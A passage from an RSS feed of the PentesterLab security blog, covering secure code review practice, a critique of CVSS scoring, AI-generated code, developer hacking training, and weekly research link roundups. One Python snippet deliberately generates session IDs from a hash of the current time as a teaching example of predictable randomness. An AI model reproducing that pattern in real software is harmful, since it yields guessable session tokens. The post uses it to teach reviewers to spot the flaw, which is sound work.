  <li>Injection vulnerabilities (SQL Injection, Command Injection)</li>
  <li>Authentication and authorization flaws (IDOR, privilege escalation)</li>
  <li>Weak cryptographic implementations (weak encryption algorithms, predictable keys)</li>
  <li>Security misconfigurations (insecure defaults, overly permissive settings)</li>
  <li>Logic flaws and business rule bypasses</li>
  <li>(Simple) Backdoors or malicious code insertions</li>
  <li>Insecure randomness or predictable identifiers</li>
</ul>

<p>Many of these issues, particularly cryptographic weaknesses and subtle logic flaws, might remain undiscovered through traditional penetration testing.</p>

<h5 class="fw-bold my-3">Real-World Examples</h5>

<strong>Play Session Injection </strong>

<p>An excellent example is the <a href="/exercises/play-session-injection" target="_blank">Play Session Injection vulnerability</a> I discovered in 2013. While it could have theoretically been found through penetration testing, the issue stood out prominently during code review. Specifically, this was a signature bypass vulnerability achieved by injecting directly inside a value added to the session. This highlights how a detailed examination of code often makes vulnerabilities more obvious and easier to understand.</p>

<strong>Predictable Randomness</strong>

<p>Another practical example involves generating session identifiers using predictable methods. For instance, consider this Python snippet:<p>

<pre><code class="python">import hashlib, time

session_id = hashlib.sha256(str(time.time()).encode()).hexdigest()</code></pre>

<p>At first glance, this might seem secure to someone performing a black-box test, but the randomness is predictable due to its reliance solely on the current time. An attacker with knowledge of the approximate timestamp could potentially brute-force or predict session identifiers, leading to severe security issues.</p>


<h5 class="fw-bold my-3">Why Choose Code Review Over Penetration Testing?</h5>

<p>Code review and penetration testing complement each other. Penetration testing, typically black-box test, involves probing the application externally, simulating real-world attacks. However, it often requires significant guesswork and inference.</p>

<p>Secure code review, by contrast, removes much of the uncertainty inherent in penetration testing. Direct code access enables reviewers to:</p>

<ul>
  <li>Identify deeply embedded logic errors</li>
  <li>Detect vulnerabilities that aren't externally exploitable but can become severe risks under different conditions</li>
  <li>Spot weak cryptography or predictable identifiers not immediately visible through external interactions</li>
</ul>

<p>However, it's important to note that secure code reviews are generally more time-consuming than penetration tests due to their detailed and comprehensive nature.</p>

<h5 class="fw-bold my-3">Challenges of Secure Code Review</h5>

<p>Common challenges in secure code review include:</p>

<ul>
  <li>Insufficient persistence or prematurely stopping review efforts.</li>
  <li>Unrealistic expectations leading to frustration and early abandonment.</li>
  <li>Insufficient continuous learning and skill maintenance.</li>
  <li>Over-reliance on simple grep-based scans, focusing too heavily on quick wins and missing deeper issues.</li>
</ul>

<h5 class="fw-bold my-3">Best Practices</h5>

<p>To be effective in secure code review:</p>

<ul>
  <li>Perform detailed CVE analyses, which offer realistic complexity and help build skills gradually. Snippets or simplified examples often provide too easy a dopamine hit without sufficient learning depth.</li>
  <li>Review incremental code changes regularly rather than attempting extensive reviews infrequently.</li>
  <li>Engage closely with developers to understand context and intent.</li>
</ul>

<h5 class="fw-bold my-3">Common Pitfalls</h5>

<p>Avoid common pitfalls such as:</p>

<ul>
  <li>Relying solely on grep-based tools or basic triage without a deep understanding of the application's context.</li>
  <li>Avoiding hands-on interaction or debugging of the application to remain "pure," which may limit effectiveness.</li>
  <li>Integrating Secure Code Review into Workflows</li>
</ul>

<p>Integration depends significantly on your goals. To quickly eliminate low-hanging fruit, automation and tools integrated into CI/CD pipelines are beneficial. Alternatively, encouraging developers to proactively request code reviews, especially for sensitive code segments or areas of uncertainty, fosters security awareness and deeper security engagements.</p>

<h5 class="fw-bold my-3">Skill Development Recommendations</h5>

<p>Web-specific resources are scarce, but notable general security resources include Mark Dowd's "<a href="https://www.amazon.com/Art-Software-Security-Assessment-Vulnerabilities/dp/0321444426" target="_blank">The Art of Software Security Assessment (TAOSSA)</a>." Although its best sections are not web-specific, its principles greatly enhance security review skills.</p>

<p>The book "<a target="_blank" href="https://www.amazon.com.au/dp/1718501544">Bug Bounty Bootcamp</a>" by Vickie Li also contains a chapter dedicated to security code review.</p>

<h5 class="fw-bold my-3">Get Started with PentesterLab</h5>

<p>If you are ready to boost your secure code review skills, PentesterLab offers specialized badges on <a href="/badges/codereview" target="_blank">Secure Code Review</a>, <a href="/badges/java-code-review" target="_blank">Secure Code Review in Java</a> and <a href="/badges/golang-code-review" target="_blank">Secure Code Review in Golang</a> covering real-world CVEs and vulnerabilities to enhance your expertise. For hands-on, interactive learning, consider joining our <a href="/live-training/" target="_blank">code review live-training sessions</a> designed to sharpen your practical skills and elevate your security career.</p>

<h5 class="fw-bold my-3">Final Thoughts</h5>

<p>Secure code review is a critical practice for proactively identifying and mitigating security risks. It empowers developers, security professionals, and researchers to uncover vulnerabilities that penetration testing alone might miss. Although it requires patience and continual learning, investing in secure code review ultimately strengthens the security posture of applications and organizations.</p>

]]>
      </description>
      <pubDate>Wed, 12 Mar 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/introduction-to-secure-code-review</link>
      <guid>https://pentesterlab.com/blog/introduction-to-secure-code-review</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 10/2025</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>


<div class="mb-0">
  <p>Ruby Gadget, TOCTOU in C# and deserialisation ...</p>
</div>
<div class="mb-5">

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">💎 </span>New Method to Leverage Unsafe Reflection and Deserialisation to RCE on Rails</h5>
<p>Great post from Elttam on a new Ruby-on-Rails gadget they discovered: <a href="https://www.elttam.com/blog/rails-sqlite-gadget-rce/" target="_blank">New Method to Leverage Unsafe Reflection and Deserialisation to RCE on Rails</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">﹟</span>Understanding and Mitigating TOCTOU Vulnerabilities in C# Applications</h5>
<p>A great article on Time of Check and Time of Use in C#: <a href="https://afine.com/understanding-and-mitigating-toctou-vulnerabilities-in-c-applications/"  target="_blank">Understanding and Mitigating TOCTOU Vulnerabilities in C# Applications</a>.</p>


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🪲 </span>Sitecore: Unsafe Deserialisation Again! (CVE-2025-27218)</h5>
<p>The AssetNote team published their first write-up in their new home: <a href="https://slcyber.io/blog/sitecore-unsafe-deserialization-again-cve-2025-27218/"  target="_blank">Sitecore: Unsafe Deserialisation Again! (CVE-2025-27218)</a>. Time to update your bookmarks...</p>





<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->





<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Sun, 09 Mar 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week10-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week10-2025</guid>
    </item>
    <item>
      <title>Vulnerabilities Are Cattle, Not Pets</title>
      <description>
        <![CDATA[<p>For years, organizations have relied on CVSS to assess and prioritize vulnerabilities. The framework was built by incredibly smart people, and developing it wasn’t easy. The problem isn’t CVSS itself but rather what it aims to achieve and, more importantly, how people use it.</p>

<h5 class="fw-bold my-3">The Problem With CVSS</h5>

<p>First, many very smart people have worked on CVSS for a long time, and I’m sure putting it together wasn’t easy. They definitely did a great job. The issue lies more in what they were trying to achieve and how people use their work.</p>

<p>To give you an idea of where I’m coming from:</p>

<ul>
  <li>I’ve seen organizations spend more time manually selecting which patches to apply based on CVSS scores than simply deciding, “Let’s apply them all,” regardless of how difficult the patch is to implement.</li>

  <li>Then, the pentest or vulnerability assessment team goes through each finding, deciding whether to report a bug based on whether it appears on their list of things to fix. Again, this isn’t a problem with CVSS itself—it’s a problem with how people use scoring.</li>

  <li>We spend too much time rating vulnerabilities and not enough time fixing them. Who hasn’t been in a meeting where a few risk managers—probably earning a few hundred thousand a year—argue over whether a vulnerability is an 8 or a 9, only to dump it into a risk register, never to be looked at again? On top of that, we waste too much time re-rating vulnerabilities to assess their risk in our specific environment. Maybe those risk managers' salaries would be better spent on people actually deploying patches and fixing vulnerabilities.</li>
</ul>


<p>One fundamental issue with CVSS is that it tries to be everything for everyone. We can’t score all bug classes or systems on the same scale and expect meaningful results. Ideally, we should have separate scoring models: <strong>CVSS for hardware, CVSS for operating systems, and CVSS for web applications</strong>, each tailored to their unique risk profiles and variables.</p>

<p>A one-size-fits-all approach introduces too many layers of abstraction, stripping away the information that truly matters. If we categorized vulnerabilities by system type (web, hardware, OS, etc.), risk calculations would be far more relevant in their specific contexts.</p>

<h5 class="fw-bold my-3">The Score Obsession Problem</h5>

<p>The reliance on numerical scores often leads to an ineffective approach to remediation. A common mindset is: “Let’s fix all vulnerabilities rated 8 and above this quarter, then we’ll see.” Who hasn’t heard this before?</p>

<p>This method actually makes remediation harder. It’s like asking developers or ops teams to walk through a field of plants and only pick the ones taller than 10 centimeters. They end up running all over the place instead of systematically addressing issues. A more efficient approach would be to clear the first half of the field instead.</p>

<h5 class="fw-bold my-3">Oversimplification of Risk</h5>

<p>Another major flaw in CVSS-based decision-making is the oversimplification of risk. A vulnerability’s impact cannot be boiled down to a single number. Real-world vulnerabilities are complex, context-dependent, and interconnected. But numbers are easy to drop into an Excel file, so they persist.</p>

<p>Ironically, CVSS fails to properly capture (by design) one of the most crucial aspects of vulnerability management: <strong>the complexity and effort required for remediation</strong>. Organizations often spend weeks debating whether a vulnerability is a CVSS 8 or 9, rather than assessing the actual difficulty of implementing a fix and whether the issue is actively being exploited.</p>

<h5 class="fw-bold my-3">The Cattle vs. Pets Mindset Shift</h5>

<p>We need to stop treating vulnerabilities as unique and special cases, deciding each one’s fate based on an arbitrary score. DevOps revolutionized infrastructure by shifting from a mindset of <strong>pets (carefully managed, individual machines)</strong> to <strong>cattle (interchangeable, disposable systems)</strong>. Vulnerability management needs the same transformation.</p>

<p>Vulnerabilities aren’t pets that need to be named, assessed, and debated one by one. They’re <strong>cattle</strong>—handled in bulk, remediated continuously, and managed efficiently.</p>

<h5 class="fw-bold my-3">Chained Vulnerabilities and Systemic Risk</h5>

<p>Another flaw in traditional vulnerability management is that it treats every vulnerability as an isolated issue. But in the real world, attackers <strong>chain vulnerabilities</strong> together to escalate impact. A low-scoring vulnerability in one system could become critical when combined with another issue. By focusing too much on individual CVSS scores, organizations fail to see the bigger picture.</p>

<p>Additionally, security teams should prioritize <strong>removing entire classes of vulnerabilities</strong> rather than playing an endless game of patching individual flaws. Fixing the root cause—whether it's insecure defaults, lack of sandboxing, or weak authentication—eliminates entire categories of risk rather than constantly reacting to new CVEs.</p>

<h5 class="fw-bold my-3">Time for a Mindset Shift</h5>

<p>We’ve reached a point where vulnerabilities are so numerous that the only viable approach is <strong>continuous patching</strong>, not selective patching based on scores. The security industry needs to stop treating vulnerabilities as one-off problems to be ranked and debated. Instead, we need scalable, systemic solutions that reduce attack surfaces as a whole.</p>

<p>Vulnerabilities aren’t pets. They’re cattle. Treat them that way, and remediation will finally become manageable.</p>


]]>
      </description>
      <pubDate>Tue, 25 Feb 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/vulnerabilities-are-cattle-not-pets</link>
      <guid>https://pentesterlab.com/blog/vulnerabilities-are-cattle-not-pets</guid>
    </item>
    <item>
      <title>How AI-Generated Code Is Changing Secure Code Review</title>
      <description>
        <![CDATA[
<p>I’ve been thinking a lot about AI-generated code lately—and the impact it has and will continue to have on security code reviews. With AI, developers are pushing code faster than ever. But what does that mean for application security teams trying to keep everything secure?</p>


<h5 class="fw-bold my-3">The (Mostly) Good News</h5>


<p>AI does a pretty decent job of churning out code without the typical “low-hanging fruit” vulnerabilities. Basic SQL injection? Simple stuff. Vanilla cross-site scripting? That’s well documented all over the internet. Of course AI has that covered—these vulnerabilities appear in countless posts, Q&As, and tutorials, making them easy for AI to learn and detect.</p>

<p>But here’s the catch: AI can only look for what it knows to look for. If the training data doesn’t include that sneaky, sophisticated vulnerability, AI isn’t going to magically spot it. And let’s face it: there’s a mountain of discussion around the “easy” bugs, but detailed analyses of complex or rare exploits are far less common in public resources.</p>

<h5 class="fw-bold my-3">Why AI Struggles with Complex Bugs</h5>


<strong>1. Sparse Training Data</strong>
<p>AI "learns" from existing content—articles, code repositories, vulnerability databases. The deeper, lesser-known exploits might not be widely documented, so the AI has never been exposed to them in the first place. That means new or rare vulnerabilities can slip by undetected.</p>

<strong>2. Lack of Context</strong>
<p>Writing secure software is all about the details. AI-generated code depends heavily on the prompts given and the context it has access to. If your prompt is incomplete, or if crucial security considerations aren’t spelled out, AI might produce code that looks fine but has hidden flaws.</p>


<strong>3. Code Repetition</strong>
<p>Developers using AI code generators often end up duplicating code. You can spot AI-generated code by the lack of DRY (Don’t Repeat Yourself). It’s partly due to how AI models structure responses and partly because they have limited context windows. Repeated code can hide vulnerabilities in multiple places if not carefully reviewed. Two almost identical functions may have very different security properties.</p>

<strong>4. Developer Detachment</strong>
<p>When you’re not writing every line of code yourself, you’re less intimately familiar with your application’s inner workings. AI can churn out pages of code in seconds, but if you only skim through it, you might miss deeper architectural or logic issues. In security, a simple oversight in logic can create a serious vulnerability. Secure code is based on a deep understanding from developers of the code base, if developers didn't write the code, it is more likely that they don't full understand it.</p>

<h5 class="fw-bold my-3">The Ongoing Challenge</h5>


<p>It’s likely that low-hanging fruit will become less common thanks to AI-generated code and AI security scanners. That’s good news. But the harder bugs—subtle logic flaws, novel exploits, and context-specific vulnerabilities—are here to stay (and may even multiply).</p>

<p>AI is undeniably reshaping how we approach coding. We’re seeing fewer trivial vulnerabilities surface in AI-generated code, which is a major plus. But it also means we have to be even more vigilant about the subtler (and arguably more dangerous) issues lurking under the hood.</p>

<h5 class="fw-bold my-3">Deepen Your Knowledge of Complex Vulnerabilities</h5>


<p>If you’d like to dive further into the intricate side of secure code review—where subtle logic flaws and advanced exploitation techniques come into play—check out my <a href="/live-training/" target="_blank" >Code Review Training</a>. In this course, I go beyond the basics and teach you how to spot and address the sophisticated bugs that AI tools (and many developers) often overlook.</p>

<h5 class="fw-bold my-3">Final Thoughts</h5>
<p>AI can handle the grunt work of scanning for common bugs and writing boilerplate code, freeing security teams to tackle the more intricate threats. However, no AI model can replace the creativity, domain knowledge, and intuition of a seasoned security professional—at least not yet.</p>

<p>So by all means, let AI expedite development and basic security checks. Just remember to roll up your sleeves and dig into the critical details. That’s where you’ll catch the complex bugs that no AI has dreamed of yet—because they don’t exist in any training data. And that’s how we stay a step ahead in an ever-evolving security landscape.</p>

]]>
      </description>
      <pubDate>Mon, 24 Feb 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/secure-code-review-ai-code</link>
      <guid>https://pentesterlab.com/blog/secure-code-review-ai-code</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 08/2025</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>


<div class="mb-0">
  <p>This week, we are going on a TLS adventure with a side of supply chain attack...</p>
</div>
<div class="mb-5">


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🤯 </span>GymTok: Breaking TLS Using the Alt-Svc Header</h5>
<p>A mind-blowing write-up for a CTF challenge. The challenge may be a bit unrealistic, but the write-up is definitely worth reading. A chain of small issues and multiple TLS attacks: <a href="https://blog.pspaul.de/posts/gymtok-breaking-tls-with-alt-svc/" target="_blank">GymTok: Breaking TLS Using the Alt-Svc Header</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔗 </span>How We Hacked a Software Supply Chain for $50K</h5>
<p>From DockerHub to NPM, an excellent example of a supply chain attack: <a href="https://www.landh.tech/blog/20250211-hack-supply-chain-for-50k/"  target="_blank">How We Hacked a Software Supply Chain for $50K</a>.</p>





<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->





<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Sun, 23 Feb 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week08-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week08-2025</guid>
    </item>
    <item>
      <title>Why You Hate Code Review (And How to Fix It)</title>
      <description>
        <![CDATA[<p>I recently gave a workshop at <a href="https://www.meetup.com/bay-area-owasp/" target="_blank">OWASP Bay Area</a> and presented a fresh slide deck. My main goal was to explain why people don’t like code review.</p>

<p>Here’s one of the slides:</p>

<img src="/newdesign/imgs/blog-imgs/Intro_Code_Review.011.jpeg" width="80%" style="display: block; margin-left: auto; margin-right: auto;"/>
<br/>
<br/>
<p>It highlights how people typically perform code review (the <b>tool-first approach</b>):</p>

<ol>
<li>They get the source code.</li>
<li>They run a SAST, grep, or another tool against the source code.</li>
<li>They triage the results to get a list of vulnerabilities and false positives.</li>
</ol>

<p>This way of working can be very discouraging because you spend most of your time as a reviewer just triaging potential vulnerabilities. It’s also a sure way to avoid getting better at code review. You don’t really learn anything, you barely read the code, and you’ll never find any “unknown unknowns,” since you’re only looking for known patterns. Using this method also does little to increase your understanding of the codebase over multiple reviews—you basically start from scratch every single time. <b>This is single-handedly the main reason why people hate code reviews.</b> </p>

<p>On the other hand, the approach I advocate in my <a href="/live-training/" target="_blank">Security Code Review Training</a> is closer to this (the <b>reviewer-first approach</b>):</p>

<img src="/newdesign/imgs/blog-imgs/Intro_Code_Review.014.jpeg" width="80%" style="display: block; margin-left: auto; margin-right: auto;" />
<br/>
<br/>
<ol>
<li>You get the source code.</li>
<li>You read the source code and find a few  weaknesses, vulnerabilities, or dangerous patterns.</li>
<li>You run a SAST, grep, or another tool against the source code—based on what you found—to scale your review.</li>
<li>You triage the results to discover even more vulnerabilities.</li>
</ol>

<p>It’s a slightly different approach: automation is there to help you be more efficient and to scale your efforts. You are in charge as the reviewer. You read the code, you learn, you understand the structure of the code, and you become a better reviewer. Afterward, you can scale up with automation and end up finding deeper, more significant vulnerabilities.</p>

<p>Of course, a quick SAST/grep and triage will always have a place in code review for catching low-hanging fruit or when you have very little time. But if possible, try to use an approach where you, the reviewer, direct the process.</p>

<p>Next time you start a security code review, before you jump on your favorite tool, try to spend a bit of time reading the actual code.</p>

<img src="/newdesign/imgs/blog-imgs/cr_honest.jpg" width="80%" style="display: block; margin-left: auto; margin-right: auto;" />

]]>
      </description>
      <pubDate>Tue, 18 Feb 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/why-you-hate-code-review</link>
      <guid>https://pentesterlab.com/blog/why-you-hate-code-review</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 07/2025</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>


<div class="mb-0">
  <p>Broken Pickle, Container Escape, DOMPurify, DNS, and Youtube/Google Bug Bounty...</p>
</div>
<div class="mb-5">



<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">📚 </span>Exploring the DOMPurify library: Hunting for Misconfigurations (2/2)</h5>
<p>Part two of the DOMPurify article is here. Make sure you check it out. There is a plethora of bad patterns when using DOMPurify: <a href="https://mizu.re/post/exploring-the-dompurify-library-hunting-for-misconfigurations" target="_blank">Exploring the DOMPurify library: Hunting for Misconfigurations (2/2)</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🤯 </span>Fragility of The Internet: How Sacrificial Nameservers allowed potential DNS hijacking of 1.6+ million domains</h5>
<p>It's DNS again! An excellent post on hijacking DNS due to the process in place when domains are marked for deletion: <a href="https://devanshbatham.hashnode.dev/fragility-of-the-internet"  target="_blank">Fragility of The Internet: How Sacrificial Nameservers allowed potential DNS hijacking of 1.6+ million domains</a>.</p>

<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">🫙 </span>How Wiz found a Critical NVIDIA AI vulnerability:  Deep Dive into a container escape (CVE-2024-0132)</h5>
<p>A well-written post from the team at Wiz on a container escape with full details (and code): <a href="https://www.wiz.io/blog/nvidia-ai-vulnerability-deep-dive-cve-2024-0132" target="_blank">How Wiz found a Critical NVIDIA AI vulnerability:  Deep Dive into a container escape (CVE-2024-0132)</a>.</p>


<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">🐍 </span>Malicious ML models discovered on Hugging Face platform</h5>
<p>An ML model leveraging a broken pickle payload to gain RCE... You can read more in <a href="https://www.reversinglabs.com/blog/rl-identifies-malware-ml-model-hosted-on-hugging-face"  target="_blank">Malicious ML models discovered on Hugging Face platform</a>.</p>

<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">🎥 </span> Leaking the email of any YouTube user for $10,000</h5>
<p>A must-read if you're planning to hunt on YouTube as part of the Google Bug Bounty: <a href="https://brutecat.com/articles/leaking-youtube-emails" target="_blank">Leaking the email of any YouTube user for $10,000</a>.</p>




<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->





<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Mon, 17 Feb 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week07-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week07-2025</guid>
    </item>
    <item>
      <title>I Don’t Want My Devs to Become Hackers!</title>
      <description>
        <![CDATA[<p>When talking with security folks about the benefits of running an internal Capture the Flag (CTF) event or signing developers up for PentesterLab, I sometimes hear: “I don’t want my developers to become hackers.” This is when I explain the advantages of letting developers dip their feet into web hacking.</p>

<h5 class="fw-bold my-3">Embracing the Hacker Mindset</h5>
<p>First, a few hours or weeks of exposure to web hacking will not instantly turn developers into malicious pentesters or hackers. But it will give them a critical new perspective—the hacker mindset. This mindset encourages them to pause and reflect: “What would the bad guys do?”</p>

<p>Application Security Engineers frequently mention the challenge of scaling security. Imagine if you had a “script kiddie” developer writing or reviewing code, rather than someone who has never considered the attacker’s viewpoint. By teaching developers what is possible, you reduce the number of “I didn’t know you could do that” moments.</p>

<h5 class="fw-bold my-3">Practical Benefits of Hands-On Training</h5>
<p>Let’s say one of your developers spends a few hours in a training session or a CTF. Maybe they learn just enough to spot one overlooked bug each month or to make your application that tiny bit more resilient. Over time, these small gains add up to a significant improvement in security.</p>

<p>Now, imagine if <strong>every time</strong> developers write a new feature or perform a peer code review, they briefly switch to a “black hat” mindset: “If I wanted to attack this, where would I start?” They might identify weaknesses before any bad actor does—or before the code even merges. And if they’re unsure, they can reach out to security teams earlier. This proactive approach helps kill bugs when they’re cheaper and easier to fix.</p>

<h5 class="fw-bold my-3">What If They Get Addicted to Web Hacking?</h5>
<p>You might wonder what happens if your developers find hacking so engaging that they dive in deeper. In fact, this is the best possible outcome. You could transition these enthusiastic individuals into your application security team, where their inside knowledge of your codebase and deployment environment becomes invaluable.</p>

<p>This path also fosters professional growth. Instead of recruiting external security experts, you’re developing talent in-house—often a faster, more cost-effective strategy.</p>

<h5 class="fw-bold my-3">Real-World Implementation Strategies</h5>
<p>Some of PentesterLab’s clients already do this. They purchase one license for every three or four developers, then rotate these licenses quarterly. They typically start with a short, three-hour introduction session to showcase how PentesterLab works and help participants solve a few labs.</p>


<p>Many also use PentesterLab’s “Organisation Badge” feature to create badges aligned with the technologies used internally. This custom approach increases both the focus of the training and overall team engagement.</p>

<h5 class="fw-bold my-3">Conclusion</h5>
<p>Encouraging developers to learn about web hacking isn’t about turning them into pentesters or rogue attackers—it’s about empowering them to build stronger, more resilient applications from the start. By routinely asking “What would the bad guys do?” during development and code review, they can uncover issues <strong>earlier</strong>, reduce security risks, and even grow into passionate security champions within your organization.</p>

<p>If you’re considering ways to embed secure coding practices, CTF-style challenges, or PentesterLab training into your workflow, remember: a small investment in <a href="/pro/enterprise" target="_blank">hacker-focused training</a> can pay off substantially with fewer bugs, a stronger security culture, and more confident, informed developers. It’s a win for your team, your organization, and for the security of everyone who relies on your applications.</p>
]]>
      </description>
      <pubDate>Thu, 13 Feb 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/why-devs-should-learn-hacking</link>
      <guid>https://pentesterlab.com/blog/why-devs-should-learn-hacking</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 06/2025</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>


<div class="mb-0">
  <p>BCrypt, Supply Chain, CSP, and so much more!</p>
</div>
<div class="mb-5">


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔒 </span> Clone2Leak: Your Git Credentials Belong To Us</h5>
<p>Another excellent article from Flatt Security on attacking git clients: <a href="https://flatt.tech/research/posts/clone2leak-your-git-credentials-belong-to-us/" target="_blank">Clone2Leak: Your Git Credentials Belong To Us</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🤯 </span> Go Supply Chain Attack</h5>
<p>Incredible example of a Go Supply Chain Attack: <a href="https://socket.dev/blog/malicious-package-exploits-go-module-proxy-caching-for-persistence"  target="_blank">Go Supply Chain Attack: Malicious Package Exploits Go Module Proxy Caching for Persistence</a>.</p>

<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">🔑 </span>What Okta Bcrypt incident can teach us about designing better APIs</h5>
<p>Remember the Okta security incident? This article starts from it and then plays one of my favourite games: comparing implementations of the same thing. Make sure you read it: <a href="https://n0rdy.foo/posts/20250121/okta-bcrypt-lessons-for-better-apis/" target="_blank">What Okta Bcrypt incident can teach us about designing better APIs</a>.</p>


<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">ℹ️  </span> form-action Content-Security-Policy Bypass And Other Tactics For Dealing With The CSP</h5>
<p>A great blog on CSP with a lot of bypasses, definitely worth exploring: <a href="https://nzt-48.org/form-action-content-security-policy-bypass-and-other-tactics-for-dealing-with-the-csp"  target="_blank">form-action Content-Security-Policy Bypass And Other Tactics For Dealing With The CSP</a>.</p>

<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">✍️ </span> A Brief History of Code Signing at Mozilla</h5>
<p>Signing a binary, that can't be that hard... right? This article demonstrates how something that may seem simple on paper can actually be very complex: <a href="https://hearsum.ca/posts/history-of-code-signing-at-mozilla/" target="_blank">A Brief History of Code Signing at Mozilla</a>.</p>

<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">🚰 </span> HTTPTap</h5>
<p>A pretty handy tool to finish... HTTPTap! An amazing way to trace HTTP requests sent by a program in just one command: <a href="https://github.com/monasticacademy/httptap" target="_blank">HTTPTap</a>.</p>




<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->





<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Mon, 10 Feb 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week06-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week06-2025</guid>
    </item>
    <item>
      <title>On Pentesting and Code Review Strategies</title>
      <description>
        <![CDATA[<p>
  I often get asked about pentesting and code review methodologies. It seems like people are hoping for a secret sauce that will make it rain bugs. I wish I could give them that.
</p> 

<p>
  The reality is that the methodology used during a test or review depends a lot on your goals and the target. You should not use the same strategy for all tests and all targets. And the methodology is dictated by your strategy.
</p>
<p>
  If your target has been pentested every year for the past five years, you don't want to spend too much time on the basics.
</p>
<p>
  If your target is going through its first test, you probably want to spend more time on the basics.
</p>
<p>
  If you are trying to demonstrate impact, you may spend more time going down a few rabbit holes than if you want to provide a general security posture of the application.
</p>
<p>
  In this blog post, I will try to illustrate what I mean...
</p>

<h5>A Simplified View</h5>
<p>
  Let's say we have one application with many features, or perhaps multiple applications. It's pretty much the same concept for this discussion—basically, the number of things we have to test.
  We also have a “depth” indicator, which is completely arbitrary, just to demonstrate my point! It looks something like this:
</p>
<img src="/newdesign/imgs/blog-imgs/Methodology.001.jpeg" alt="depth and assets" width="80%" />
<br/>
<br/>
<p>
  This is what we are going to apply our testing to.
</p>

<h5>Vulnerabilities</h5>
<p>
  Now, we also have vulnerabilities. Some have a small impact (small bugs), and some have a big impact (big bugs). Some are easy to find (shallow depth), while others are harder to find (deeper depth).
  It looks something like this:
</p>
<img src="/newdesign/imgs/blog-imgs/Methodology.002.jpeg" alt="depth and assets + bugs" width="80%" />
<br/>
<br/>
<p>
  Ideally, you should be able to find all of these bugs.
</p>
<img src="/newdesign/imgs/blog-imgs/Methodology.005.jpeg" alt="depth and assets + bugs found" width="80%" />
<br/>
<br/>

<h5>Time Constraints</h5>
<p>
  Unfortunately, penetration testing and code review are usually time-bound exercises. Bug bounties are not so constrained, which is why they sometimes provide better results 
  if you are lucky enough to have very resilient researchers on your program.
</p>

<h5>Checklist Methodology and Uniform Coverage</h5>
<p>
